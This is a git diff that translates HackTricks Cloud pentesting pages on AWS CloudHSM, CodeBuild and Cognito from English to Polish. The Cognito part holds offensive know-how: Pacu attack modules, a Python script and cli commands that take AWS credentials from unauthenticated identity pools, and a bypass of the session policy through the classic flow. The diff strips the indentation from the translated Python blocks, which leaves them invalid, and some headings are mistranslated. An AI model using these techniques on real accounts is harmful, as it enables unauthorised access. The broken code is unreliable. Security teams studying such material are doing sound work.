**multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +Jeśli Twoje rozwiązanie jest **wieloregionowe**, powinieneś dodać kilka **urządzeń CloudHSM w drugim regionie i ustalić łączność międzyregionową za pomocą prywatnego połączenia VPN** lub jakiejś metody, aby zapewnić, że ruch jest zawsze chroniony na każdym poziomie połączenia. Jeśli masz rozwiązanie wieloregionowe, musisz pomyśleć o tym, jak **replikować klucze i skonfigurować dodatkowe urządzenia CloudHSM w regionach, w których działasz**. Możesz bardzo szybko znaleźć się w sytuacji, w której masz sześć lub osiem urządzeń rozproszonych w wielu regionach, co umożliwia pełną redundancję Twoich kluczy szyfrowania. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** to usługa klasy enterprise do zabezpieczonego przechowywania kluczy i może być używana jako **punkt zaufania dla przedsiębiorstwa**. Może przechowywać klucze prywatne w PKI i klucze autorytetów certyfikacji w implementacjach X509. Oprócz kluczy symetrycznych używanych w algorytmach symetrycznych, takich jak AES, **KMS przechowuje i fizycznie chroni tylko klucze symetryczne (nie może działać jako autorytet certyfikacji)**, więc jeśli musisz przechowywać klucze PKI i CA, jedno lub dwa urządzenia CloudHSM mogą być Twoim rozwiązaniem. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM jest znacznie droższy niż usługa zarządzania kluczami**. CloudHSM to urządzenie sprzętowe, więc masz stałe koszty związane z przydzieleniem urządzenia CloudHSM, a następnie koszt godzinowy za uruchomienie urządzenia. Koszt jest mnożony przez liczbę urządzeń CloudHSM, które są wymagane do spełnienia Twoich specyficznych wymagań.\ +Dodatkowo, należy uwzględnić koszty zakupu oprogramowania firm trzecich, takich jak zestawy oprogramowania SafeNet ProtectV oraz czas i wysiłek związany z integracją. Usługa zarządzania kluczami jest oparta na użyciu i zależy od liczby kluczy, które posiadasz, oraz operacji wejścia i wyjścia. Ponieważ zarządzanie kluczami zapewnia bezproblemową integrację z wieloma usługami AWS, koszty integracji powinny być znacznie niższe. Koszty powinny być uważane za czynnik drugorzędny w rozwiązaniach szyfrowania. Szyfrowanie jest zazwyczaj używane dla bezpieczeństwa i zgodności. -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**Tylko Ty masz dostęp do kluczy w CloudHSM** i nie wchodząc w zbyt wiele szczegółów, w CloudHSM zarządzasz swoimi własnymi kluczami. **W KMS Ty i Amazon współzarządzacie swoimi kluczami**. AWS ma wiele zabezpieczeń politycznych przeciwko nadużyciom i **nadal nie może uzyskać dostępu do Twoich kluczy w żadnym z rozwiązań**. Główna różnica polega na zgodności, jeśli chodzi o własność i zarządzanie kluczami, a w CloudHSM jest to urządzenie sprzętowe, którym zarządzasz i utrzymujesz z wyłącznym dostępem tylko dla Ciebie. -### CloudHSM Suggestions +### Sugestie dotyczące CloudHSM -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. Zawsze wdrażaj CloudHSM w **konfiguracji HA** z co najmniej dwoma urządzeniami w **oddzielnych strefach dostępności**, a jeśli to możliwe, wdroż trzeci, albo lokalnie, albo w innym regionie w AWS. +2. Bądź ostrożny podczas **inicjalizacji** **CloudHSM**. Ta akcja **zniszczy klucze**, więc albo miej inną kopię kluczy, albo bądź absolutnie pewny, że ich nie potrzebujesz i nigdy, przenigdy nie będziesz potrzebować tych kluczy do odszyfrowania jakichkolwiek danych. +3. CloudHSM tylko **obsługuje określone wersje oprogramowania układowego** i oprogramowania. Przed wykonaniem jakiejkolwiek aktualizacji upewnij się, że oprogramowanie układowe lub oprogramowanie jest obsługiwane przez AWS. Zawsze możesz skontaktować się z pomocą techniczną AWS, aby zweryfikować, czy przewodnik aktualizacji jest niejasny. +4. **Konfiguracja sieci nigdy nie powinna być zmieniana.** Pamiętaj, że znajduje się w centrum danych AWS, a AWS monitoruje podstawowy sprzęt za Ciebie. Oznacza to, że jeśli sprzęt zawiedzie, wymienią go za Ciebie, ale tylko jeśli będą wiedzieć, że zawiódł. +5. **Przekazywanie SysLog nie powinno być usuwane ani zmieniane**. Zawsze możesz **dodać** przekaznik SysLog, aby skierować logi do swojego narzędzia zbierającego. +6. Konfiguracja **SNMP** ma te same podstawowe ograniczenia co sieć i folder SysLog. To **nie powinno być zmieniane ani usuwane**. Dodatkowa konfiguracja SNMP jest w porządku, po prostu upewnij się, że nie zmieniasz tej, która już znajduje się na urządzeniu. +7. Inną interesującą najlepszą praktyką od AWS jest **niezmienianie konfiguracji NTP**. Nie jest jasne, co by się stało, gdybyś to zrobił, więc pamiętaj, że jeśli nie używasz tej samej konfiguracji NTP dla reszty swojego rozwiązania, możesz mieć dwa źródła czasu. Po prostu bądź tego świadomy i wiedz, że CloudHSM musi pozostać przy istniejącym źródle NTP. -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +Początkowa opłata za uruchomienie CloudHSM wynosi 5 000 USD za przydzielenie sprzętowego urządzenia dedykowanego do Twojego użytku, a następnie istnieje opłata godzinowa związana z uruchomieniem CloudHSM, która obecnie wynosi 1,88 USD za godzinę działania, czyli około 1 373 USD miesięcznie. -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +Najczęstszym powodem korzystania z CloudHSM są standardy zgodności, które musisz spełnić z powodów regulacyjnych. **KMS nie oferuje wsparcia dla danych dotyczących kluczy asymetrycznych. CloudHSM pozwala na bezpieczne przechowywanie kluczy asymetrycznych**. -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +**Klucz publiczny jest instalowany na urządzeniu HSM podczas przydzielania**, abyś mógł uzyskać dostęp do instancji CloudHSM za pomocą SSH. -### What is a Hardware Security Module +### Czym jest moduł bezpieczeństwa sprzętowego -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +Moduł bezpieczeństwa sprzętowego (HSM) to dedykowane urządzenie kryptograficzne, które służy do generowania, przechowywania i zarządzania kluczami kryptograficznymi oraz ochrony wrażliwych danych. Został zaprojektowany w celu zapewnienia wysokiego poziomu bezpieczeństwa poprzez fizyczne i elektroniczne izolowanie funkcji kryptograficznych od reszty systemu. -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +Sposób działania HSM może się różnić w zależności od konkretnego modelu i producenta, ale ogólnie występują następujące kroki: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **Generowanie kluczy**: HSM generuje losowy klucz kryptograficzny za pomocą bezpiecznego generatora liczb losowych. +2. **Przechowywanie kluczy**: Klucz jest **bezpiecznie przechowywany w HSM, gdzie może być dostępny tylko dla autoryzowanych użytkowników lub procesów**. +3. **Zarządzanie kluczami**: HSM zapewnia szereg funkcji zarządzania kluczami, w tym rotację kluczy, kopie zapasowe i unieważnianie. +4. **Operacje kryptograficzne**: HSM wykonuje szereg operacji kryptograficznych, w tym szyfrowanie, deszyfrowanie, podpis cyfrowy i wymianę kluczy. Operacje te są **wykonywane w bezpiecznym środowisku HSM**, co chroni przed nieautoryzowanym dostępem i manipulacją. +5. **Rejestrowanie audytów**: HSM rejestruje wszystkie operacje kryptograficzne i próby dostępu, które mogą być używane do celów zgodności i audytu bezpieczeństwa. -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +HSM mogą być używane w szerokim zakresie zastosowań, w tym w bezpiecznych transakcjach online, certyfikatach cyfrowych, bezpiecznej komunikacji i szyfrowaniu danych. Często są używane w branżach, które wymagają wysokiego poziomu bezpieczeństwa, takich jak finanse, opieka zdrowotna i rząd. -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +Ogólnie rzecz biorąc, wysoki poziom bezpieczeństwa zapewniany przez HSM sprawia, że **bardzo trudno jest wydobyć surowe klucze z nich, a próba ich wydobycia jest często uważana za naruszenie bezpieczeństwa**. Jednak mogą istnieć **pewne scenariusze**, w których **surowy klucz mógłby być wydobyty** przez upoważniony personel w określonych celach, takich jak w przypadku procedury odzyskiwania kluczy. +### Enumeracja ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..f86fb679f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest automatyzacja sekwencji kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do celów wdrożeniowych. Główną korzyścią oferowaną przez CodeBuild jest jego zdolność do odciążenia użytkowników od konieczności provisionowania, zarządzania i skalowania serwerów budowlanych. Ta wygoda wynika z faktu, że sama usługa zarządza tymi zadaniami. Kluczowe funkcje AWS CodeBuild obejmują: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Zarządzana usługa**: CodeBuild zarządza i skaluje serwery budowlane, uwalniając użytkowników od konserwacji serwerów. +2. **Ciągła integracja**: Integruje się z przepływem pracy rozwoju i wdrożenia, automatyzując fazy budowy i testowania procesu wydania oprogramowania. +3. **Produkcja pakietów**: Po fazach budowy i testowania przygotowuje pakiety oprogramowania, czyniąc je gotowymi do wdrożenia. -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild bezproblemowo integruje się z innymi usługami AWS, zwiększając efektywność i niezawodność pipeline'u CI/CD (Ciągła Integracja/Ciągłe Wdrożenie). ### **Github/Gitlab/Bitbucket Credentials** -#### **Default source credentials** +#### **Domyślne poświadczenia źródłowe** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +To jest opcja dziedziczona, w której możliwe jest skonfigurowanie pewnych **dostępów** (jak token Github lub aplikacja), które będą **dzielone między projektami codebuild**, aby wszystkie projekty mogły korzystać z tej skonfigurowanej grupy poświadczeń. -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +Przechowywane poświadczenia (tokeny, hasła...) są **zarządzane przez codebuild** i nie ma publicznego sposobu na ich odzyskanie z interfejsów API AWS. -#### Custom source credential +#### Niestandardowe poświadczenie źródłowe -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +W zależności od platformy repozytoriów (Github, Gitlab i Bitbucket) oferowane są różne opcje. Ale ogólnie, każda opcja, która wymaga **przechowywania tokena lub hasła, przechowa je jako sekret w menedżerze sekretów**. -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. +To pozwala **różnym projektom codebuild korzystać z różnych skonfigurowanych dostępów** do dostawców zamiast korzystać tylko z skonfigurowanego domyślnego. ### Enumeration - ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codebuild, aby eskalować przywileje**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md @@ -74,7 +72,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..e917415aa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognito jest wykorzystywany do **uwierzytelniania, autoryzacji i zarządzania użytkownikami** w aplikacjach internetowych i mobilnych. Umożliwia użytkownikom elastyczność logowania się bezpośrednio za pomocą **nazwa użytkownika i hasło** lub pośrednio przez **osobę trzecią**, w tym Facebook, Amazon, Google lub Apple. -Central to Amazon Cognito are two primary components: +Centralnym elementem Amazon Cognito są dwa główne komponenty: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **User Pools**: To katalogi zaprojektowane dla użytkowników Twojej aplikacji, oferujące **funkcjonalności rejestracji i logowania**. +2. **Identity Pools**: Te pule są kluczowe w **autoryzacji użytkowników do uzyskiwania dostępu do różnych usług AWS**. Nie są bezpośrednio zaangażowane w proces logowania lub rejestracji, ale są niezbędne do uzyskania dostępu do zasobów po uwierzytelnieniu. ### **User pools** -To learn what is a **Cognito User Pool check**: +Aby dowiedzieć się, czym jest **Cognito User Pool check**: {{#ref}} cognito-user-pools.md @@ -21,14 +21,13 @@ cognito-user-pools.md ### **Identity pools** -The learn what is a **Cognito Identity Pool check**: +Aby dowiedzieć się, czym jest **Cognito Identity Pool check**: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,14 +71,13 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` +### Identity Pools - Nieużytkownikowa Enumeracja -### Identity Pools - Unauthenticated Enumeration +Just **znając ID Puli Tożsamości** możesz być w stanie **uzyskać poświadczenia roli związanej z użytkownikami nieautoryzowanymi** (jeśli takie istnieją). [**Sprawdź jak tutaj**](cognito-identity-pools.md#accessing-iam-roles). -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +### User Pools - Nieużytkownikowa Enumeracja -### User Pools - Unauthenticated Enumeration - -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** +Nawet jeśli **nie znasz ważnej nazwy użytkownika** w Cognito, możesz być w stanie **enumerować** ważne **nazwy użytkowników**, **BF** hasła, a nawet **zarejestrować nowego użytkownika** tylko **znając ID klienta aplikacji** (które zazwyczaj znajduje się w kodzie źródłowym). [**Sprawdź jak tutaj**](cognito-user-pools.md#registration)**.** ## Privesc @@ -87,20 +85,16 @@ Even if you **don't know a valid username** inside Cognito, you might be able to ../../aws-privilege-escalation/aws-cognito-privesc.md {{#endref}} -## Unauthenticated Access +## Nieużytkownikowy Dostęp {{#ref}} ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Persistence +## Utrzymywanie {{#ref}} ../../aws-persistence/aws-cognito-persistence.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..3907cc2c2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,16 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: +Identity pools odgrywają kluczową rolę, umożliwiając użytkownikom **uzyskanie tymczasowych poświadczeń**. Poświadczenia te są niezbędne do uzyskania dostępu do różnych usług AWS, w tym, ale nie tylko, Amazon S3 i DynamoDB. Ciekawą cechą identity pools jest ich wsparcie zarówno dla anonimowych użytkowników gości, jak i dla różnych dostawców tożsamości do uwierzytelniania użytkowników. Obsługiwane dostawcy tożsamości to: - Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities - +- Opcje logowania społecznościowego, takie jak Facebook, Google, Login with Amazon i Sign in with Apple +- Dostawcy zgodni z OpenID Connect (OIDC) +- Dostawcy tożsamości SAML (Security Assertion Markup Language) +- Tożsamości uwierzytelniane przez dewelopera ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Aby wygenerować sesje Identity Pool, najpierw musisz **wygenerować Identity ID**. Ten Identity ID jest **identyfikacją sesji tego użytkownika**. Te identyfikacje mogą mieć do 20 zestawów danych, które mogą przechowywać do 1MB par klucz-wartość. -This is **useful to keep information of a user** (who will be always using the same Identity ID). +To jest **przydatne do przechowywania informacji o użytkowniku** (który zawsze będzie używał tego samego Identity ID). -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +Ponadto, usługa **cognito-sync** to usługa, która pozwala na **zarządzanie i synchronizowanie tych informacji** (w zestawach danych, wysyłanie informacji w strumieniach i wiadomościach SNS...). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z puli tożsamości, ról, które można przyjąć w tokenach id itp. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +Przykład użycia cognito\_\_attack do próby tworzenia użytkowników i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Przykład użycia cognito\_\_enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w Pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i eskalację puli tożsamości. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. - -#### Installation - +#### Instalacja ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Użycie ```bash $ cognito-scanner --help ``` - For more information check https://github.com/padok-team/cognito-scanner ## Accessing IAM Roles ### Unauthenticated -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +Jedyną rzeczą, którą atakujący musi wiedzieć, aby **uzyskać AWS credentials** w aplikacji Cognito jako użytkownik nieautoryzowany, jest **Identity Pool ID**, a ten **ID musi być wbudowany** w **aplikację** webową/mobilną, aby mogła go używać. ID wygląda tak: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nie można go złamać siłą bruteforce). > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> **IAM Cognito unathenticated role utworzona przez** domyślnie nazywa się `Cognito_Unauth_Role` +Jeśli znajdziesz wbudowane Identity Pools ID, które pozwala na dostęp dla użytkowników nieautoryzowanych, możesz uzyskać AWS credentials za pomocą: ```python import requests @@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +Lub możesz użyć następujących **aws cli commands**: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> Zauważ, że domyślnie nieautoryzowany użytkownik cognito **NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały one przypisane za pomocą polityki**. Sprawdź następną sekcję. -### Enhanced vs Basic Authentication flow +### Ulepszony vs Podstawowy przepływ uwierzytelniania -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +Poprzednia sekcja dotyczyła **domyślnego ulepszonego przepływu uwierzytelniania**. Ten przepływ ustawia **ograniczającą** [**politykę sesji**](../../aws-basic-information/#session-policies) dla wygenerowanej sesji roli IAM. Ta polityka pozwoli tylko na [**korzystanie z usług z tej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (nawet jeśli rola miała dostęp do innych usług). +Jednak istnieje sposób, aby to obejść, jeśli **pula tożsamości ma włączony "Podstawowy (Klasyczny) Przepływ"**, użytkownik będzie mógł uzyskać sesję korzystając z tego przepływu, który **nie będzie miał tej ograniczającej polityki sesji**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> Jeśli otrzymasz ten **błąd**, to dlatego, że **podstawowy przepływ nie jest włączony (domyślnie)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +Mając zestaw poświadczeń IAM, powinieneś sprawdzić [jakie masz uprawnienia](../../#whoami) i spróbować [podnieść uprawnienia](../../aws-privilege-escalation/). -### Authenticated +### Uwierzytelniony > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> Pamiętaj, że **uwierzytelnieni użytkownicy** mogą mieć **inne uprawnienia**, więc jeśli możesz **zarejestrować się w aplikacji**, spróbuj to zrobić i uzyskaj nowe poświadczenia. -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +Mogą być również dostępne **role** dla **uwierzytelnionych użytkowników uzyskujących dostęp do puli tożsamości**. -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +W tym celu możesz potrzebować dostępu do **dostawcy tożsamości**. Jeśli jest to **Cognito User Pool**, być może możesz wykorzystać domyślne zachowanie i **samodzielnie utworzyć nowego użytkownika**. > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> **IAM Cognito uwierzytelniona rola utworzona przez** domyślnie nazywa się `Cognito_Auth_Role` -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +W każdym razie, **następny przykład** zakłada, że już 